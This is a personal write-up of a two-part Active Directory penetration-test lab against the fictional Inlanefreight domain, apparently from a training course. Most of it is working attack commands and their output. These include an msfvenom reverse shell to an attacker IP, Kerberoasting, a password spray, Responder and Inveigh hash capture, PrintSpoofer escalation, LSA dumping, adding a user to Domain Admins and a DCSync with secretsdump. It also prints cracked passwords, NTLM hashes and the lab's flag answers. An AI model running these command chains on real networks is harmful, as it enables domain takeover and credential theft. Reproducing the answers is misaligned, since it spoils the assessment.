Scenario
A team member started an External Penetration Test and was moved to another urgent project before they could finish. The team member was able to find and exploit a file upload vulnerability after performing recon of the externally-facing web server. Before switching projects, our teammate left a password-protected web shell (with the credentials: admin:My_W3bsH3ll_P@ssw0rd!) in place for us to start from in the /uploads directory. As part of this assessment, our client, Inlanefreight, has authorized us to see how far we can take our foothold and is interested to see what types of high-risk issues exist within the AD environment. Leverage the web shell to gain an initial foothold in the internal network. Enumerate the Active Directory environment looking for flaws and misconfigurations to move laterally and ultimately achieve domain compromise.
Apply what you learned in this module to compromise the domain and answer the questions below to complete part I of the skills assessment.
Submit the contents of the flag.txt file on the administrator Desktop of the web server
PS> type C:\Users\Administrator\Desktop\flag.txt
JusT_g3tt1ng_st@rt3d!
Kerberoast an account with the SPN MSSQLSvc/SQL01.inlanefreight.local:1433 and submit the account name as your answer
svc_sql
Crack the account's password. Submit the cleartext value.
lucky7
Submit the contents of the flag.txt file on the Administrator desktop on MS01
Find cleartext credentials for another domain user. Submit the username as your answer.
Submit this user's cleartext password.
What attack can this user perform?
Take over the domain and submit the contents of the flag.txt file on the Administrator Desktop on DC01
10.129.202.242

We need to kerberoast a specific user, but we don't actually have credentials from this perspective. Thus, we need to enumerate a bit from this perspective - We can't interact with the host from Linux and user getuserspns.py to get a kerberoasting tgs
[[12. Kerberoasting#Kerberoasting from within windows]]
setspn.exe -Q */*
This is the user we're targeting:
CN=svc_sql,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
MSSQLSvc/SQL01.inlanefreight.local:1433
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/SQL01.inlanefreight.local:1433"
This sucks and is annoying. I'm going to setup a reverse shell.
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f exe > nameoffile.exe
 
just going to upload powerview because i dont really have a full powershell it seems.
LEARNING MOMENT HERE: Always remember to fucking base64 encode the powershell revshell oneliner. Used https://www.revshells.com/ powershell b64 encode

$krb5tgs$23$*svc_sql$INLANEFREIGHT.LOCAL$MSSQLSvc/SQL01.inlanefreight.local:1433*$641647ad53300101f674b3c9af0054b4$447dff4ede47835428bb093c117aba0951f7c7b6beccc0b81a88eca234d91104f9bc6da4535e6d997058387fa8bff0914bf04c41d52d63dbe5a71c940d4cb0af8362c046bfa86e31095f5058279d13c7b1efe64ceac8043d8d2e37ff505be119ed3e736ff922fbc7d793b326d996ab627f741fb5a776b1f37bfa8056af618d66fb7a0c4df365f5cd839673348cccc94c26652aef2396c4661dc7c6ea4fa2296dcd37a9cd6287e3602e1f2d6abec8d14585f3b524b76187e2fbf1c1b99b6379fc94a17775a2ff76ba664094c9458716a8fd6264ed7b0b4d0bb8718e1eb182d4dfb8d485a1e75c1ce94dd5a44124b55580305a27e1fe4b08b60694edbbd41470a23be021622c28b524a9a1fccc5548ec221c0ab5bcc14e9c889ba76c78d9dca6849b3feac6f1ea7f6ddd97a3e1532a645e674cd601b5ba240370169569ab911fe750b47b5dfe264ee8fd34375033d18c208c2ba7239e7c89a9bcad9a54854862728dcaef5a2416eebb4628c545d23dd4f4769f757844e5d08c0a3a27396981dfcb5204be8abf8c7b02063e54c6e20915c4ee05833d03735b35e17a057a179189b4884641d2f01fc95a57ab46c3141b843c54b6c3337990b85169d4eae4ec60ab1dc6228143bdfaebd5e4c65970ee4ef92188a9c87df2fddfece3aa50abe514f9bae842f93e16544cedc1e0843a986038d8a305bd4906b3446b7ef8ef76a255e2f19c5d66b3011335720bbd86d93465bb0413780bdf9852e2575e4d0e74bc5f1b0e7437e6a6deb985eec199407fa4eca8136daf38ffe29ed772cc60141bfd1c8566e2fa056959eca6db89a3aab5da6159fb21330245e6426b780dca7d0928ec89edd0fd01e295efc42d84d749eb71c48a89e8e30201c096fc3bb7ba1357d0c3e4e2491272f9f3f570a5ffcf218151fd6ab7ae6f763a88336582820630735750d01ae2f1bfe3e772241939d137417a69e1a48c2b564150d648051f1cc87859663d65e0196ddd9403eb5dfae85cbecb26fb1587cb6d4a801c883dfce11679df5a6c7cd9050818e36414b2b2e330ae02c5a2cdb14630667c160f3c32a090319726cba91a575d6f731ec5ec0752378e2e9923fafd08e328720bb5df1d59b882d1cd162fbb9b165595fec94d39ec059b9cdc3889127ff54f2f8c88ea5c39ebcc4fe0b10c742a9ad8e929016dd14e0528795f70cfb86efb0570cc35d9306788cac8e1b6d3c6d906f5e2d3bd4634415eee9df11069c0b57bf90871813ae1dcf218a7f0b70480e8e969de428562455d154789cb61cdcb20fdc82be0d24988823e02b426b3e3fa4231d03808c4003b63990d381e66b54c8ae2195f18c0e41d93772168448e86ba51623ddc49c85afcddcdd5df28c038beda804ea8c3c2af10d5407005925ee49edb8508ceeb4292f3b1542833efcf59d56eadaa83b3541eeed6f80262eb28e7a47c0690e09c0a72b2a0e265d6980188d74b52fb2d89481117d49439ddcfe5db360d7091f59555e1f41deebaf0bc741e5890fefb384df0bf:lucky7
performing a dcsync
PS C:\> Get-DomainUser -Identity Administrator
logoncount : 29
badpasswordtime : 4/11/2022 5:26:25 PM
description : Built-in account for administering the computer/domain
distinguishedname : CN=Administrator,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
objectclass : {top, person, organizationalPerson, user}
lastlogontimestamp : 4/29/2022 10:42:52 AM
name : Administrator
objectsid : S-1-5-21-2270287766-1317258649-2146029398-500
samaccountname : Administrator
logonhours : {255, 255, 255, 255...}
admincount : 1
codepage : 0
samaccounttype : USER_OBJECT
accountexpires : 12/31/1600 4:00:00 PM
countrycode : 0
whenchanged : 4/29/2022 5:42:52 PM
instancetype : 4
objectguid : 50d216ba-fc26-4164-8b75-3a53ae788046
lastlogon : 4/29/2022 11:24:40 AM
lastlogoff : 12/31/1600 4:00:00 PM
objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=INLANEFREIGHT,DC=LOCAL
dscorepropagationdata : {3/30/2022 9:09:38 AM, 3/30/2022 8:54:29 AM, 1/1/1601 12:04:16 AM}
memberof : {CN=Group Policy Creator Owners,CN=Users,DC=INLANEFREIGHT,DC=LOCAL, CN=Domain
Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL, CN=Enterprise
Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL, CN=Schema
Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL...}
whencreated : 3/30/2022 8:53:34 AM
iscriticalsystemobject : True
badpwdcount : 0
cn : Administrator
useraccountcontrol : NORMAL_ACCOUNT
usncreated : 8196
primarygroupid : 513
pwdlastset : 4/11/2022 7:24:49 PM
usnchanged : 57367
actually none of this was necessary, the svc_sql account is a local admin on ms01 after opening internal network up to ourselves with chisel
┌──(root㉿kali)-[/opt/PowerSploit/Recon]
└─# proxychains nxc smb 172.16.6.50 -u svc_sql -p lucky7 --lsa
this worked for obtaining the cleartext pw of tpetty
SMB 172.16.6.50 445 MS01 INLANEFREIGHT\tpetty:Sup3rS3cur3D0m@inU2eR
then we dcsync after enumerating acls:
PS C:\> Get-DomainUser -Identity tpetty | select samaccountname,objectsid,memberof,useraccountcontrol|fl
samaccountname : tpetty
objectsid : S-1-5-21-2270287766-1317258649-2146029398-4607
memberof :
useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
PS C:\> $pettysid = Convert-NameToSid tpetty
PS C:\> echo $pettysid
S-1-5-21-2270287766-1317258649-2146029398-4607
PS C:\> Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $pettysid} -Verbose
DS-Replication-Get-Changes-All
┌──(root㉿kali)-[/opt/PowerSploit/Recon]
└─# proxychains secretsdump.py -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT.LOCAL/tpetty@172.16.6.3
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.11.0 - Copyright 2023 Fortra
Password:
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.6.3:445 ... OK
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.6.3:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.6.3:49666 ... OK
Administrator:500:aad3b435b51404eeaad3b435b51404ee:27dedb1dab4d8545c6e1c66fba077da0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6dbd63f4a0e7c8b221d61f265c4a08a7:::
inlanefreight.local\avazquez:1714:aad3b435b51404eeaad3b435b51404ee:762cbc5ea2edfca03767427b2f2a909f:::
┌──(root㉿kali)-[/opt/PowerSploit/Recon]
└─# proxychains nxc smb 172.16.6.3 -u Administrator -H 27dedb1dab4d8545c6e1c66fba077da0 -x 'type C:\Users\Administrator\Desktop\flag.txt'
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.6.3:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.6.3:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.6.3:135 ... OK
SMB 172.16.6.3 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True) (SMBv1:False)
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.6.3:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.6.3:445 ... OK
SMB 172.16.6.3 445 DC01 [+] INLANEFREIGHT.LOCAL\Administrator:27dedb1dab4d8545c6e1c66fba077da0 (Pwn3d!)
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.6.3:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.6.3:49737 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.6.3:49737 ... OK
SMB 172.16.6.3 445 DC01 [+] Executed command via wmiexec
SMB 172.16.6.3 445 DC01 r3plicat1on_m@st3r!
Scenario
Our client Inlanefreight has contracted us again to perform a full-scope internal penetration test. The client is looking to find and remediate as many flaws as possible before going through a merger & acquisition process. The new CISO is particularly worried about more nuanced AD security flaws that may have gone unnoticed during previous penetration tests. The client is not concerned about stealth/evasive tactics and has also provided us with a Parrot Linux VM within the internal network to get the best possible coverage of all angles of the network and the Active Directory environment. Connect to the internal attack host via SSH (you can also connect to it using xfreerdp as shown in the beginning of this module) and begin looking for a foothold into the domain. Once you have a foothold, enumerate the domain and look for flaws that can be utilized to move laterally, escalate privileges, and achieve domain compromise.
Apply what you learned in this module to compromise the domain and answer the questions below to complete part II of the skills assessment.
Listen with responder and capture an NTLM hash, then cracked it with hashcat.
AB920::INLANEFREIGHT:dfd0bc5ea287a88c:8731d59fc1238c1012c2d3aa6ad9b69d:010100000000000080d1dcbc7c0bdb019f131de8e178898b0000000002000800380044003100380001001e00570049004e002d005000500054003600580034004a00450041004e00540004003400570049004e002d005000500054003600580034004a00450041004e0054002e0038004400310038002e004c004f00430041004c000300140038004400310038002e004c004f00430041004c000500140038004400310038002e004c004f00430041004c000700080080d1dcbc7c0bdb0106000400020000000800300030000000000000000000000000200000a53ff7c194c3180fabe17f34ea3610b0709990c76f1f6d6b07c9ebc758a9fa020a0010000000000000000000000000000000000009002e0063006900660073002f0049004e004c0041004e0045004600520049004700480054002e004c004f00430041004c00000000000000000000000000:weasal
┌─[htb-student@skills-par01]─[~]
└──╼ $arp -a
inlanefreight.local (172.16.7.3) at 00:50:56:b0:d6:b0 [ether] on ens224
┌─[htb-student@skills-par01]─[~]
└──╼ $fping -asgq 172.16.7.0/24
172.16.7.3
172.16.7.50
172.16.7.60
172.16.7.240
┌──(root㉿kali)-[~/cpts/active-directory/2-skill-assess]
└─# for host in $(cat hosts.txt); do proxychains nxc smb $host -u AB920 -p weasal; done
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
SMB 172.16.7.3 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True) (SMBv1:False)
SMB 172.16.7.3 445 DC01 [+] INLANEFREIGHT.LOCAL\AB920:weasal
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
SMB 172.16.7.50 445 MS01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:MS01) (domain:INLANEFREIGHT.LOCAL) (signing:False) (SMBv1:False)
SMB 172.16.7.50 445 MS01 [+] INLANEFREIGHT.LOCAL\AB920:weasal
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
SMB 172.16.7.60 445 SQL01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:SQL01) (domain:INLANEFREIGHT.LOCAL) (signing:False) (SMBv1:False)
SMB 172.16.7.60 445 SQL01 [+] INLANEFREIGHT.LOCAL\AB920:weasal
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
we're asked to exploit a common method to get weak credentials. this sounds like a password spray.
ldapsearch -x -H ldap://<domain_controller> -D "<username>@<domain>" -W -b "DC=domain,DC=com" "(objectClass=user)"
┌─[htb-student@skills-par01]─[~]
└──╼ $crackmapexec smb 172.16.7.3 -u AB920 -p 'weasal' --users
*** something interesting about this, is that CME and ldapsearch gave me some different results for usernames (maybe look into this later?)
- username schema like LLNNN
- vs
- username schema normal firstlast@domain
cheated and know that the password we need to spray is Welcome1 but we enumerate the password policy and see theres no lockout or threshhold / bad pw count. this means we could password spray the users in --user output with top 200 passwords.
Welcome1 is contained in /usr/share/wordlists/seclists/Passwords/2023-200_most_used_passwords.txt
┌──(root㉿kali)-[~/cpts/active-directory/2-skill-assess]
└─# proxychains nxc smb 172.16.7.3 -u users.txt -p Welcome1
[...]
SMB 172.16.7.3 445 DC01 [-] INLANEFREIGHT.LOCAL\CT059:Welcome1 STATUS_LOGON_FAILURE
SMB 172.16.7.3 445 DC01 [+] INLANEFREIGHT.LOCAL\BR086:Welcome1
Locate a configuration file containing an MSSQL connection string. What is the password for the user listed in this file?
This was found in an SMB share. Important note about this part is the fact that when we got a new user, we checked SMB directories as that user. Not all share folders are readable by all users. In excess, ab920 was not able to get the file but br086 was able to. Good to note for later.

impacket mssqlclient used to login with these creds and we can capture a hash with responder
SQL01$::INLANEFREIGHT:71a5b531bf1ebd3d:61A0E5EC3473A7EBDBCFAF5F2A9E883E:010100000000000000C51CA3090DDB01A0C25C516F7CFD9000000000020008003800450036005A0001001E00570049004E002D00430034004C005200440043005900320047003500380004003400570049004E002D00430034004C00520044004300590032004700350038002E003800450036005A002E004C004F00430041004C00030014003800450036005A002E004C004F00430041004C00050014003800450036005A002E004C004F00430041004C000700080000C51CA3090DDB01060004000200000008003000300000000000000000000000003000003CB31FEBB3C1F5A31BE4936A2DAC8B3D052A6C646EEC47379D53F9185306B4240A001000000000000000000000000000000000000900220063006900660073002F003100370032002E00310036002E0037002E003200340030000000000000000000
unsure if this is the right path - didnt crack with rockyou
it was the incorrect path. SQL service account user has SeImpersonatePrivilege which can be exploited with Xpotato / printspoofer
we setup a revshell with xp_cmdshell and a powershell reverse shell from revshells.io, and login as svc account.
from there, we transferred printspoofer https://github.com/itm4n/PrintSpoofer to the machine and ran the exploit.

so.... now that we have NT AUTHORITY\SYSTEM privileges on a box, the next question is:
Submit the contents of the flag.txt file on the Administrator Desktop on the MS01 host.
It's likely we can use this access to pivot across the domain. Thinking SAM / LSA etc is probably a good first place to start.
spoiler we used mimikatz.
┌──(root㉿kali)-[~/cpts/active-directory/2-skill-assess]
└─# proxychains nxc smb 172.16.7.50 -u mssqlsvc -p 'Sup3rS3cur3maY5ql$3rverE' -x 'type C:\Users\Administrator\Desktop\flag.txt'
The next thing we need is Obtain credentials for a user who has GenericAll rights over the Domain Admins group. What's this user's account name?
The hint is Think about how you obtained your initial foothold in the domain.
We got initial foothold by just listening with responder without creds. Do we just listen with responder for a little longer?
- The answer to this is to use Inveigh and responder to capture an NTLM hash for this user.
dumping lsa from the machine we just owned:
──(root㉿kali)-[~/cpts/active-directory/2-skill-assess]
└─# proxychains nxc smb 172.16.7.50 -u mssqlsvc -p 'Sup3rS3cur3maY5ql$3rverE' --lsa
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
SMB 172.16.7.50 445 MS01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:MS01) (domain:INLANEFREIGHT.LOCAL) (signing:False) (SMBv1:False)
SMB 172.16.7.50 445 MS01 [+] INLANEFREIGHT.LOCAL\mssqlsvc:Sup3rS3cur3maY5ql$3rverE (Pwn3d!)
SMB 172.16.7.50 445 MS01 [+] Dumping LSA secrets
SMB 172.16.7.50 445 MS01 INLANEFREIGHT.LOCAL/Administrator:$DCC2$10240#Administrator#30376b08e0552233fba8af8e0be0fb13: (2022-04-30 21:45:52)
SMB 172.16.7.50 445 MS01 INLANEFREIGHT.LOCAL/AB920:$DCC2$10240#AB920#e078d44e3b52c02486f3b5f24a2c14b0: (2022-04-20 11:51:51)
SMB 172.16.7.50 445 MS01 INLANEFREIGHT\MS01$:aes256-cts-hmac-sha1-96:bcb2252f3aef8fb0771382b56c6361acc7fb69553baca7e62691512e1a3f2310
SMB 172.16.7.50 445 MS01 INLANEFREIGHT\MS01$:aes128-cts-hmac-sha1-96:4fd586116b7782261f4d551102fc1c13
SMB 172.16.7.50 445 MS01 INLANEFREIGHT\MS01$:des-cbc-md5:62b33270a14cceb6
SMB 172.16.7.50 445 MS01 INLANEFREIGHT\MS01$:plain_password_hex:fd8b4f2003cf6f6d67ec5ca43f49e515c094a69b6cd13faa8574903b279bbaab16fd39d3380a599a23fe3f69b260f17ff0e96adbc21561bb2dcf3a4f4b276a5e8eeff8aeab27d5dfe7683837741f381d1557dc9101e012a21dabf7e893012f08d59ae8378ebfe99d986b18c43555fb2b7b27deb54191378215b4cdf186e4066ba024365e42b3394168fbbc53b3600f43c83488f2bfb055edecf1e1b56ce5a37e503f99665ca70440be796ff290adbe1254e8c0b2bf3e8168f063d2e598728d35568b2fccfda1328d9b85cd87792db18057f9a4d0c7314c5cf0916bd93d806b0fb47d79c2d777dfefa3b18bc15c9612b8
SMB 172.16.7.50 445 MS01 INLANEFREIGHT\MS01$:aad3b435b51404eeaad3b435b51404ee:3d6d08a5e6d20c27810464a199b80fa2:::
SMB 172.16.7.50 445 MS01 dpapi_machinekey:0xa12e073d7286b431bd0cf4fe62b65783b89b2fd8
dpapi_userkey:0x0966967d8c1625752ef138a4ec05db3b70dbeb16
SMB 172.16.7.50 445 MS01 NL$KM:a2529d310bb71c7545d64b76412dd321c65cdd0424d307ffca5cf4e5a03894149164fac791d20e027ad65253b4f4a96f58ca7600dd39017dc5f78f4bab1edc63
SMB 172.16.7.50 445 MS01 [+] Dumped 9 LSA secrets to /root/.nxc/logs/MS01_172.16.7.50_2024-09-23_224800.secrets and /root/.nxc/logs/MS01_172.16.7.50_2024-09-23_224800.cached

Listening with inveigh on MS01 from our admin user gives us the hash for this user:
*Evil-WinRM* PS C:\Users\mssqlsvc\Documents> type Inveigh-NTLMv2.txt
CT059::INLANEFREIGHT:A01252EA4CB22347:90BFE9E05C21467EB635D9D0BDF44434:0101000000000000676EA75EA90EDB01B79266D3172D6D590000000002001A0049004E004C0041004E0045004600520045004900470048005400010008004D005300300031000400260049004E004C0041004E00450046005200450049004700480054002E004C004F00430041004C00030030004D005300300031002E0049004E004C0041004E00450046005200450049004700480054002E004C004F00430041004C000500260049004E004C0041004E00450046005200450049004700480054002E004C004F00430041004C0007000800676EA75EA90EDB01060004000200000008003000300000000000000000000000002000001DF88A21D7813014A47AD915D0A9D446B03994F73427430AFE413EBEE53A022D0A001000000000000000000000000000000000000900200063006900660073002F003100370032002E00310036002E0037002E0035003000000000000000000000000000
CT059:charlie1
┌──(root㉿kali)-[/opt/Inveigh]
└─# proxychains net rpc group addmem "Domain Admins" "BR086" -U "INLANEFREIGHT.LOCAL"/"CT059"%"charlie1" -S "172.16.7.3"
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
We didn't get any output but from netexec we can see that br086 is now an administrator of the domain controller computer
┌──(root㉿kali)-[~/cpts/active-directory/2-skill-assess]
└─# proxychains nxc smb 172.16.7.3 -u BR086 -p Welcome1
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
SMB 172.16.7.3 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True) (SMBv1:False)
SMB 172.16.7.3 445 DC01 [+] INLANEFREIGHT.LOCAL\BR086:Welcome1 (Pwn3d!)
Last question was asking us for the KRBTGT account ntlm hash. So we just use secretsdump.py
┌──(root㉿kali)-[~/cpts/active-directory/2-skill-assess]
└─# proxychains secretsdump.py -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT/BR086@172.16.7.3 -just-dc-user krbtgt
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.11.0 - Copyright 2023 Fortra
Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:7eba70412d81c1cd030d72a3e8dbe05f:::